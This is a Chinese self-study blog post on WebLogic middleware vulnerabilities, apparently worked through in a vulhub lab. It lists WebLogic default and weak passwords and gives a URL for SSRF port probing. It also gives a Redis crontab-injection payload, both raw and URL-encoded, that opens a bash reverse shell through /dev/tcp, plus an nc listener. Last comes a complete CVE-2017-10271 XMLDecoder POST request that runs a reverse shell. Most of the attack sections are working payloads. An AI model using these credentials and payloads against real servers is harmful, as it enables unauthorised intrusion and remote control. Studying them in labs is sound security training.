網絡安全自學篇-中間件漏洞(三)

一個網絡安全小白在學習過程中記錄下的筆記,希望在CSDN能和大家一起成長,學習,分享,進步,下面分享的是中間件漏洞系列,希望對入門網安的朋友們有所幫助,大神有興趣看看即可,勿噴感謝,同時也歡迎各位師傅私聊交流學習。文章有所參考,也感謝教授我網安知識的師父們,感謝出生在這個互聯網時代,知識觸手可及。
中間件漏洞系列目錄
網絡安全自學篇-中間件漏洞(一)
網絡安全自學篇-中間件漏洞(二)
補充下一些中間件的默認端口號:
IIS-80
Apache-80
Weblogic-7001
Nginx-80
Tomcat-8080
Jboss-8080

weblogic之weak_password

Vul:弱口令可導致上傳並部署war包獲取WEBSHELL
WebLogic常用弱口令:

User ID Password
system password
weblogic weblogic
admin security
joe password
mary password
system security
wlcsystem wlcsystem
wlpisystem wlpisystem
weblogi Oracle@123

用戶名密碼分別爲:weblogic/Oracle@123,上傳war包即可獲得webshell
其他思路

weblogic之SSRF

Vul:Weblogic中存在一個SSRF漏洞,利用該漏洞可以發送任意HTTP請求,進而攻擊內網中redis、fastcgi等脆弱組件
訪問
http://192.168.42.128:7001/uddiexplorer/
在這裏插入圖片描述
向服務器提交如下參數探測端口開放情況:
http://192.168.42.128:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.21.0.2:7001
以下是端口未開放的結果:
在這裏插入圖片描述
由於這裏使用的是docker,因此我們需要探測的ip地址必須是docker的地址:
以下是端口開放的結果:
在這裏插入圖片描述
其他狀態解釋如下:
在這裏插入圖片描述
由於漏洞環境上部署了redis數據庫,可利用其反彈shell,我們可以通過傳入%0a%0d來注入換行符,而某些服務(如redis)是通過換行符來分隔每條命令,也就說我們可以通過該SSRF攻擊內網中的redis服務器。
https://github.com/vulhub/vulhub/blob/master/weblogic/ssrf/README.md
反彈shell格式:

set 1 "\n\n\n\n* * * * root bash -i >& /dev/tcp/xx.xx.xx.xx[IP]/8888[PORT] 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

進行url編碼後添加換行符%0a%0d:

set+1+%22%5cn%5cn%5cn%5cn*+*+*+*+root+bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.42.129%2f8888+0%3e%261%5cn%5cn%5cn%5cn%22%0D%0Aconfig+set+dir+%2fetc%2f%0D%0Aconfig+set+dbfilename+crontab%0D%0Asave

在這裏插入圖片描述
nc -l -p 8888監聽即可

weblogic之XMLDecoder反序列化漏洞(CVE-2017-10271)

Vul:Weblogic的WLS Security組件對外提供webservice服務,其中使用了XMLDecoder來解析用戶傳入的XML數據,在解析的過程中出現反序列化漏洞,導致可執行任意命令。
訪問http://192.168.42.128:7001/wls-wsat/CoordinatorPortType11,存在下圖則說明可能存在漏洞
在這裏插入圖片描述
構造POST包發送數據反彈shell:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.42.128:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

Content-Type: text/xml
Content-Length: 618
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.42.129/21 0&gt;&amp;1</string> 
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>

在這裏插入圖片描述
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章